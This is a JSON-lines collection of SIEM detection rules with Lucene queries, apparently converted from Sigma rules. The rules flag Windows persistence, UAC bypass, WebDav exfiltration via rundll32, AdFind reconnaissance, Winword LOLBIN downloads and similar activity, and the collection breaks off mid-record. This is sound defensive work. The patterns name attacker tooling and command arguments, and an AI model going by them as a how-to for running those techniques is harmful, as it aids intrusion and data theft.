{"description": "Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE.", "enabled": false, "false_positives": ["Windows administrator tasks or troubleshooting", "Windows management scripts or software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "cd30fcab-b5c2-a626-4000-f2c3f87b94b7", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MITRE BZAR Indicators for Persistence", "query": "(event.dataset:\"dce_rpc\" AND ((dce_rpc.endpoint.text:\"spoolss\" AND dce_rpc.operation.text:\"RpcAddMonitor\") OR (dce_rpc.endpoint.text:\"spoolss\" AND dce_rpc.operation.text:\"RpcAddPrintProcessor\") OR (dce_rpc.endpoint.text:\"IRemoteWinspool\" AND dce_rpc.operation.text:\"RpcAsyncAddMonitor\") OR (dce_rpc.endpoint.text:\"IRemoteWinspool\" AND dce_rpc.operation.text:\"RpcAsyncAddPrintProcessor\") OR (dce_rpc.endpoint.text:\"ISecLogon\" AND dce_rpc.operation.text:\"SeclCreateProcessWithLogonW\") OR (dce_rpc.endpoint.text:\"ISecLogon\" AND dce_rpc.operation.text:\"SeclCreateProcessWithLogonExW\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@neu5ron", "SOC Prime"], "license": ""}
{"description": "Windows DCE-RPC functions which indicate an execution techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE", "enabled": false, "false_positives": ["Windows administrator tasks or troubleshooting", "Windows management scripts or software"], "filters": [], "from": "now-360s", "immutable": false, "index": ["*ecs-*"], "interval": "5m", "rule_id": "f5bfe579-f21f-f096-d3c6-1101aa4a6c22", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "MITRE BZAR Indicators for Execution", "query": "(event.dataset:\"dce_rpc\" AND ((dce_rpc.endpoint.text:\"JobAdd\" AND dce_rpc.operation.text:\"atsvc\") OR (dce_rpc.endpoint.text:\"ITaskSchedulerService\" AND dce_rpc.operation.text:\"SchRpcEnableTask\") OR (dce_rpc.endpoint.text:\"ITaskSchedulerService\" AND dce_rpc.operation.text:\"SchRpcRegisterTask\") OR (dce_rpc.endpoint.text:\"ITaskSchedulerService\" AND dce_rpc.operation.text:\"SchRpcRun\") OR (dce_rpc.endpoint.text:\"IWbemServices\" AND dce_rpc.operation.text:\"ExecMethod\") OR (dce_rpc.endpoint.text:\"IWbemServices\" AND dce_rpc.operation.text:\"ExecMethodAsync\") OR (dce_rpc.endpoint.text:\"svcctl\" AND dce_rpc.operation.text:\"CreateServiceA\") OR (dce_rpc.endpoint.text:\"svcctl\" AND dce_rpc.operation.text:\"CreateServiceW\") OR (dce_rpc.endpoint.text:\"svcctl\" AND dce_rpc.operation.text:\"StartServiceA\") OR (dce_rpc.endpoint.text:\"svcctl\" AND dce_rpc.operation.text:\"StartServiceW\")))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1047", "T1053", "T1569"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1569", "name": "System Services", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["@neu5ron", "SOC Prime"], "license": ""}
{"description": "Windows Defender logs when the history of detected infections is deleted. Log file will contain the message \"Windows Defender Antivirus has removed history of malware and other potentially unwanted software\".", "enabled": false, "false_positives": ["Deletion of Defender malware detections history for legitimate reasons"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ea0291bf-1c85-4f2a-8144-f2df298478fb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Windows Defender Malware Detection History Deletion", "query": "(winlog.channel:\"Microsoft\\-Windows\\-Windows\\ Defender\\/Operational\" AND winlog.event_id:\"1013\" AND winlog.event_data.EventType:\"4\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Cian Heasley"], "license": ""}
{"description": "Windows Firewall has been reset to its default configuration.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f3c3a527-5b67-8cc5-515d-1abf4cb22f62", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Reset to Default Configuration Windows Firewall with Advanced Security", "query": "winlog.event_id:\"2032\"", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["(v=ws.10)"], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fd16b8a0-b385-6789-48a6-1a7383413cdb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Abusing Windows Telemetry For Persistence", "query": "(process.command_line:*schtasks* AND process.command_line:*\\\\Application\\ Experience\\\\Microsoft\\ Compatibility\\ Appraiser*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1053", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Windows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections. This binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run. The problem is, it will run any arbitrary command without restriction of location or type.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fd16b8a0-b385-6789-48a6-1a7383413cdb", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Abusing Windows Telemetry For Persistence", "query": "(winlog.event_data.EventType:\"SetValue\" AND winlog.event_data.TargetObject:*HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\ NT\\\\CurrentVersion\\\\AppCompatFlags\\\\TelemetryController\\\\* AND winlog.event_data.Details:(*.sh OR *.exe OR *.dll OR *.bin OR *.bat OR *.cmd OR *.js OR *.ps OR *.vb OR *.jar OR *.hta OR *.msi OR *.vbs))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1053", "T1112"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1112", "name": "Modify Registry", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Sreeman"], "license": ""}
{"description": "Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces). Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe", "enabled": false, "false_positives": ["It's not an uncommon to use te.exe directly to execute legal TAEF tests"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c03fb4fd-c985-19f0-577e-9fc9fdf9f22e", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Malicious Windows Script Components File Execution by TAEF Detection", "query": "(process.executable:*\\\\te.exe OR process.parent.executable:*\\\\te.exe OR winlog.event_data.OriginalFileName:\"\\\\te.exe\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1218"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Agro (@agro_sev) oscd.community"], "license": ""}
{"description": "Windows Update get some error Check if need a 0-days KB", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "769a5d62-5f1a-c52e-3cca-f27790960428", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Windows Update Error", "query": "(winlog.channel:\"System\" AND Provider_Name:\"Microsoft\\-Windows\\-WindowsUpdateClient\" AND winlog.event_id:(\"16\" OR \"20\" OR \"24\" OR \"213\" OR \"217\"))", "meta": {"from": "1m"}, "severity": "low", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[Wow6432Node]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "d43c3c1c-1a2f-a15c-ec89-8a202e4ea178", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Winlogon Helper DLL", "query": "(powershell.file.script_block_text:*CurrentVersion\\\\Winlogon* AND powershell.file.script_block_text:(*Set\\-ItemProperty* OR *New\\-Item*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1547"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1547", "name": "Boot or Logon Autostart Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Timur Zinniatullin", "oscd.community"], "license": ""}
{"description": "Winword can be abused as a LOLBIN to download arbitary file or load arbitary DLLs", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "cb2effdb-45b9-3936-c18b-3066c462558c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Winword LOLBIN Usage", "query": "((process.executable:*\\\\WINWORD.exe OR winlog.event_data.OriginalFileName:\"WinWord.exe\") AND (process.command_line:(*http\\:\\/\\/* OR *https\\:\\/\\/*) OR process.command_line:(*\\/l\\ * OR *.dll*)))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "ZipExec is a Proof-of-Concept (POC) tool to wrap binary-based tools into a password-protected zip file.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f1c4fbea-368b-71cb-6797-5fd56d0f52c9", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious ZipExec Execution", "query": "(process.command_line:*.zip* AND ((process.command_line:*\\/generic\\:Microsoft_Windows_Shell_ZipFolder\\:filename\\=* AND process.command_line:*\\/pass\\:* AND process.command_line:*\\/user\\:*) OR (process.command_line:*\\/delete* AND process.command_line:*Microsoft_Windows_Shell_ZipFolder\\:filename\\=*)))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1202", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1202", "name": "Indirect Command Execution", "reference": ""}, {"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description":"A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["This rule is to explore new applications on an endpoint. False positives depends on the organization.","Newly setup system.","Legitimate installation of new application."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e878ebf6-87da-32ea-35a3-7cdd97f7b498","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"New Application in AppCompat","query":"winlog.event_data.TargetObject:*\\\\AppCompatFlags\\\\Compatibility\\ Assistant\\\\Store\\\\*","meta":{"from":"1m"},"severity":"low","tags":["T1204"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1204","name":"User Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection for files being created in the Windows startup directory. This could be an indicator of persistence. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"8e5f0a87-db26-0565-c8dd-2bb21ae213c2","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Startup Folder File Write","query":"file.path:*ProgramData\\\\Microsoft\\\\Windows\\\\Start\\ Menu\\\\Programs\\\\StartUp*","meta":{"from":"1m"},"severity":"low","tags":["T1547"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1547","name":"Boot or Logon Autostart Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["System administrators managing certififcates."],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"286a8d22-d241-e293-e36b-e17af327cb24","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious PFX File Creation","query":"file.path:*.pfx","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1552"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1552","name":"Unsecured Credentials","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection for processes loading System.Drawing.ni.dll. This could be an indicator of potential Screen Capture. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"953ab693-f7f9-b1f7-216a-53e977e0df36","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Suspicious System.Drawing Load","query":"(file.path:*\\\\System.Drawing.ni.dll AND (NOT ((process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\* OR C\\:\\\\Windows\\\\System32\\\\* OR C\\:\\\\Windows\\\\Microsoft.NET\\\\* OR C\\:\\\\Windows\\\\ImmersiveControlPanel\\\\*)) OR (process.executable:(C\\:\\\\Users\\\\*\\\\AppData\\\\Local\\\\NhNotifSys\\\\nahimic\\\\nahimicNotifSys.exe OR C\\:\\\\Users\\\\*\\\\GitHubDesktop\\\\Update.exe OR \"C\\:\\\\Windows\\\\System32\\\\NhNotifSys.exe\")))))","meta":{"from":"1m"},"severity":"low","tags":["T1113"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0009","reference":"","name":"Collection"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1113","name":"Screen Capture","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"229e3860-1c84-7765-2991-aa7df491d81b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"High Integrity Sdclt Process","query":"(process.executable:*sdclt.exe AND IntegrityLevel:\"High\")","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6fdff597-19e4-3ab4-94a3-4c0c3ebccea9","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Sdclt Child Processes","query":"process.parent.executable:*\\\\sdclt.exe","meta":{"from":"1m"},"severity":"medium","tags":["Privilege Escalation","T1548"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0004","reference":"","name":"Privilege Escalation"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1548","name":"Abuse Elevation Control Mechanism","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection for svchost.exe spawning rundll32.exe with command arguments like C:\\windows\\system32\\davclnt.dll,DavSetCookie. This could be an indicator of exfiltration or use of WebDav to launch code (hosted on WebDav Server). Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"725962c6-9871-829d-9dd7-8d7da4396b66","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Suspicious WebDav Client Execution","query":"(process.executable:*\\\\rundll32.exe AND process.command_line:*C\\:\\\\windows\\\\system32\\\\davclnt.dll,DavSetCookie*)","meta":{"from":"1m"},"severity":"medium","tags":["T1048"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0010","reference":"","name":"Exfiltration"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1048","name":"Exfiltration Over Alternative Protocol","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9d18f18d-13c3-6940-0816-99a536784740","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Removal of Potential COM Hijacking Registry Keys","query":"((winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:*\\\\shell\\\\open\\\\command) AND (NOT ((process.executable:\"C\\:\\\\Windows\\\\system32\\\\svchost.exe\") OR (process.executable:(C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\* OR C\\:\\\\Program\\ Files\\\\Common\\ Files\\\\Microsoft\\ Shared\\\\ClickToRun\\\\Updates\\\\*) AND process.executable:*\\\\OfficeClickToRun.exe) OR (process.executable:\"C\\:\\\\Program\\ Files\\ \$x86\$\\\\Microsoft\\ Office\\\\root\\\\integration\\\\integrator.exe\") OR (process.executable:*\\\\Dropbox.exe AND winlog.event_data.TargetObject:HKCR\\\\Dropbox.*))))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection to trigger for processes removing .*\\shell\\open\\command registry keys. Registry keys that might have been used for COM hijacking activities. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9d18f18d-13c3-6940-0816-99a536784740","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Removal of Potential COM Hijacking Registry Keys","query":"(winlog.event_data.EventType:\"DeleteKey\" AND winlog.event_data.TargetObject:*\\\\shell\\\\open\\\\command)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1112"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1112","name":"Modify Registry","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection to trigger for the creation or modification of .*\\Software\\Sysinternals\\SDelete registry keys. Indicators of the use of Sysinternals SDelete tool. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"63dfd541-cb56-ea8f-cbee-e2603990183b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Sysinternals SDelete Registry Keys","query":"winlog.event_data.TargetObject:*\\\\Software\\\\Sysinternals\\\\SDelete*","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"A General detection to trigger for the deletion of files by Sysinternals SDelete. It looks for the common name pattern used to rename files. Author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research). License: ","enabled":false,"false_positives":["Legitime usage of SDelete"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ebdcab76-5eae-041d-02d3-44b1313b09ed","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Sysinternals SDelete File Deletion","query":"file.path:(*.AAA OR *.ZZZ)","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1070"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""}]}],"version":1,"references":[""]}
{"description":"A login from a public IP can indicate a misconfigured firewall or network boundary. Author: NVISO. License: ","enabled":false,"false_positives":["Legitimate logon attempts over the internet","IPv4-to-IPv6 mapped IPs"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"a84ed766-08c8-991d-afd9-4c753ae79bcc","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Failed Logon From Public IP","query":"(winlog.channel:\"Security\" AND winlog.event_id:\"4625\" AND (NOT ((source.ip:*\\-*) OR (source.ip:(10.* OR 192.168.* OR 172.16.* OR 172.17.* OR 172.18.* OR 172.19.* OR 172.20.* OR 172.21.* OR 172.22.* OR 172.23.* OR 172.24.* OR 172.25.* OR 172.26.* OR 172.27.* OR 172.28.* OR 172.29.* OR 172.30.* OR 172.31.* OR 127.* OR 169.254.*)) OR (source.ip:\"\\:\\:1\" OR source.ip:(fe80\\:\\:* OR fc00\\:\\:*)))))","meta":{"from":"1m"},"severity":"medium","tags":["Initial Access","T1078","T1133","T1190"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1078","name":"Valid Accounts","reference":""},{"id":"T1133","name":"External Remote Services","reference":""},{"id":"T1190","name":"Exploit Public-Facing Application","reference":""}]},{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1078","name":"Valid Accounts","reference":""},{"id":"T1133","name":"External Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"A office file with macro is created from a commandline or a script Author: frack113. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5a25ccd9-2ac8-0818-2755-ddd2ffd3bda6","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Dump Office Macro Files from Commandline","query":"(file.path:(*.docm OR *.dotm OR *.xlsm OR *.xltm OR *.potm OR *.pptm OR *.pptx) AND (process.executable:(*\\\\cmd.exe OR *\\\\powershell.exe) OR process.parent.executable:(*\\\\cmd.exe OR *\\\\powershell.exe)))","meta":{"from":"1m"},"severity":"medium","tags":["Initial Access","T1566"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0001","reference":"","name":"Initial Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1566","name":"Phishing","reference":""}]}],"version":1,"references":[""]}
{"description":"A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016. Author: @41thexplorer, Microsoft Defender ATP. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"d77e1d8a-ad72-c00b-c2e0-a9288e04e164","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Unidentified Attacker November 2018","query":"file.path:*ds7002.lnk*","meta":{"from":"1m"},"severity":"high","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016. Author: @41thexplorer, Microsoft Defender ATP. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7453575c-a747-40b9-839b-125a0aae324b","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Unidentified Attacker November 2018","query":"(process.command_line:*cyzfc.dat,* AND process.command_line:*PointFunctionCall)","meta":{"from":"1m"},"severity":"high","tags":["T1218"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Accesschk is an access and privilege audit tool developed by SysInternal and often being used by attacker to verify if a privilege escalation process successful or not Author: Teymur Kheirkhabarov (idea), Mangatas Tondang (rule), oscd.community. License: ","enabled":false,"false_positives":["System administrator Usage","Penetration test"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c625d754-6a3d-4f65-9c9a-536aea960d37","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Accesschk Usage After Privilege Escalation","query":"(IntegrityLevel:\"Medium\" AND (Product:*AccessChk OR winlog.event_data.Description:*Reports\\ effective\\ permissions*))","meta":{"from":"1m"},"severity":"high","tags":["T1069"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1069","name":"Permission Groups Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain. Author: Janantha Marasinghe (). License: ","enabled":false,"false_positives":["Admin activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1fb8a604-bb6a-dc8e-8028-e7a434122dce","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"AdFind Usage Detection","query":"process.command_line:(*domainlist* OR *trustdmp* OR *dcmodes* OR *adinfo* OR *\\ dclist\\ * OR *computer_pwdnotreqd* OR *objectcategory\\=* OR *\\-subnets\\ \\-f* OR *name\\=\\\"Domain\\ Admins\\\"* OR *\\-sc\\ u\\:* OR *domainncs* OR *dompol* OR *\\ oudmp\\ * OR *subnetdmp* OR *gpodmp* OR *fspdmp* OR *users_noexpire* OR *computers_active*)","meta":{"from":"1m"},"severity":"high","tags":["T1018","T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE 